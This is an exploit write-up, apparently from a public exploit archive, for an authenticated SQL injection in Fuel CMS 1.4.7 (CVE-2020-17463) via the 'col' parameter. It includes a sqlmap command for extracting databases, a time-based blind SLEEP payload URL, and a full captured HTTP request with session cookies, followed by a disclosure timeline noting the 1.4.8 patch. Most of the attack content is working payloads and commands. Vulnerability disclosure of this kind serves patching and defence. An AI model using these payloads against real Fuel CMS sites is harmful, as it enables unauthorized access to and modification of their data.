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Fuel CMS 1.4.7 - 'col' SQL Injection (Authenticated)

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# Exploit Title: Fuel CMS 1.4.7 - 'col' SQL Injection (Authenticated)
# Google Dork: -
# Date: 2020-08-01
# Exploit Author: Roel van Beurden
# Vendor Homepage: https://www.getfuelcms.com/
# Software Link: https://github.com/daylightstudio/FUEL-CMS/archive/1.4.7.zip
# Version: 1.4.7
# Tested on: Linux Ubuntu 18.04
# CVE: CVE-2020-17463


1. Description:
----------------------

Fuel CMS 1.4.7 allows SQL Injection via parameter 'col' in pages/items, permissions/items, navigation/items and logs/items
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.


2. Proof of Concept:
----------------------

In Burpsuite intercept the request from one of the affected pages with 'col' parameter and save it like fuel.req
Then run SQLmap to extract the data from the database:

sqlmap -r fuel.req --risk=3 --level=5 --dbs --random-agent


3. Example payload:
----------------------

(time-based blind)

/fuelcms/pages/items/?search_term=&published=&layout=&limit=50&view_type=list&offset=0&order=asc&col=location+AND+(SELECT+1340+FROM+(SELECT(SLEEP(5)))ULQV)&fuel_inline=0


4. Burpsuite request:
----------------------

GET /fuelcms/pages/items/?search_term=&published=&layout=&limit=50&view_type=list&offset=0&order=asc&col=location%20AND%20(SELECT%201340%20FROM%20(SELECT(SLEEP(5)))ULQV)&fuel_inline=0 HTTP/1.1

Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close

Cookie: ci_session=2pvc8gmus9he9fbesp3lkhlbc7oal188; fuel_eeed351bf4de904070ff77c1aef15576=a%3A2%3A%7Bs%3A2%3A%22id%22%3Bs%3A1%3A%221%22%3Bs%3A8%3A%22language%22%3Bs%3A7%3A%22english%22%3B%7D; fuel_ui_eeed351bf4de904070ff77c1aef15576=%2528%257Bleftnav_h3%253A%25220%257C0%257C0%257C0%2522%252C%2520fuel_permissions_items%253A%2522list%2522%252C%2520fuel_pages_items%253A%2522list%2522%252C%2520leftnav_hide%253A%25220%2522%252C%2520tabs_ms_assets_create%253A%25220%2522%252C%2520tabs_ms_assets_create_5a47396a63773d3d%253A%25220%2522%252C%2520tabs_ms_assets_create_5a47396a637939305a584e30%253A%25220%2522%252C%2520tabs_ms_assets_create_615731685a32567a%253A%25220%2522%252C%2520fuel_navigation_items%253A%2522list%2522%257D%2529

Upgrade-Insecure-Requests: 1


5. Timeline:
----------------------

2020-08-01: SQLi vulnerability found in Fuel CMS 1.4.7
2020-08-02: Reported vulnerability to vendor
2020-08-11: Vendor has patched the SQLi vulnerability in version 1.4.8
            
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